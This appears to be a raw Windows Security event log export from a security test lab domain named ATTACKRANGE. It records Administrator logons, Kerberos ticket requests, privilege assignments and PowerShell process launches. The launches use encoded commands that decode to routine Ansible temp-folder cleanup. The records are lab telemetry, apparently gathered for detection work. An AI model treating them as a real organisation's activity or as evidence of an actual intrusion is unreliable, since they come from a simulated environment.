limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250719 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B3B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250718 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250717 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1106BE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250716 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x112326 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250715 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1149BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250714 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117455 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250713 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250712 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B3B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250711 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B3B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250710 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250709 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250708 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250707 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B1F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250706 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B1F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250705 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B1F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250704 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250703 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250702 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250701 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117645 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250700 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1284 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1350 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250699 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117645 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250698 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117645 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250697 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250696 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250695 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1350 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1388 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABJAEEATABnAEEAMgBBAEQAYwBBAE0AUQBBAHkAQQBEAFUAQQBOAEEAQQB0AEEARABJAEEATgBnAEEAdwBBAEQAWQBBAE0AdwBBADEAQQBEAFkAQQBOAEEAQQB5AEEARABFAEEATwBBAEEANQBBAEQARQBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft 